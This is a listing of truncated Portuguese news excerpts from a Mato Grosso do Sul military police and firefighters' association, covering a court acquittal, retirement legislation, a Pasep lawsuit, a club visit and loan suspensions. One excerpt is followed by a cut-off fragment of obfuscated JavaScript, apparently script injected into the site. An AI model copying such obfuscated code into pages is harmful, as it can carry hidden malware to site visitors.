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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, na última terça-feira (17), a absolvição de um sócio que havia sido denunciado pelo crime de peculato na forma tentada. A ação penal teve início quando um terceiro policial militar teria o acusado de ter se apropriado de um aparelho de ar condicionado, pertencente ao Projeto Patrulha Mirim, da região de Nova Andradina. Durante a instrução do processo, a defesa produziu provas suficientes para convencer o Conselho de Justiça de que tudo não passava de uma possível acusação injusta do superior que efetivou a parte, dando origem a ação penal, uma vez que o respectivo aparelho nunca chegou a ser retirado do local. Outra tese da defesa fundamentava-se na in...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, se reuniu, na manhã desta sexta-feira (19), com o comandante geral da PM, coronel Marcos Paulo Gimenez, para tratar sobre o projeto de lei que prevê mudanças na legislação para a transferência para a reserva remunerada de policiais e bombeiros. A proposta prevê, entre outros pontos, que o militar que completar 30 anos de serviço, se masculino, ou 25 anos, se feminino, até o dia 31 de dezembro de 2021, poderá solicitar a transferência para a reserva remunerada com proventos integrais. Ou, se possuir 20 anos de efetivo serviço para ambos os sexos, pode solicitar a proporcional. A partir do dia 1º de janeiro de 2022, a regra muda. O militar incluído ...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) firmou parceria com um escritório de advocacia, em Campo Grande, para ajuizar uma ação afim de querer o pagamento do Pasep (Programa de Formação do Patrimônio do Servidor Público), referente aos meses de agosto, setembro e outubro de 1988. Portanto, sócios que já eram servidores públicos neste período podem ser beneficiados, já que não houve depósito nas contas dos titulares. Os valores que o associado terá direito a receber será calculado por um perito bancário contratado pelo escritório. Os extratos das contas serão solicitados também pelos advogados, sem custos para os associados. No entanto, caso a justiça gratuita seja negada, o sócio deverá arcar com as custas processuais. As cust...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, realizou, nesta segunda-feira (15), uma visita às obras de construção do clube de campo da Regional de Aquidauana. Acompanhado do diretor local, Ramão Alves Mariano Neto, ele acompanhou o andamento dos trabalhos. A Regional conta com salão de festas, playground, quiosques, além de piscinas e vestiários. A viagem ainda teve cunho social. A psicóloga da entidade, Alicia Izidre do Couto, realizou atendimento a uma pensionista que perdeu seu esposo recentemente. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) tem orientado seus associados que querem suspender ou refinanciar as parcelas do empréstimo consignado por conta da pandemia do novo Coronavírus. A possibilidade de adiar o pagamento está prevista na Lei nº 5.501 de 04 de maio de 2020. Três bancos farão a suspensão do contrato por 90 dias: Itaú, Bonsucesso e BMG. Elas, no entanto, incidirão ao final do contrato, sem juros. As demais instituições financeiras farão a suspensão mediante refinanciamento com carência, mas, para isso, o servidor precisará ter margem disponível em folha. Os que não possuem essa margem foram beneficiados pelo decreto n° 15.443, de 26 de maio de 2020, que alterou para 105 meses a quantidade de parcelas possíveis...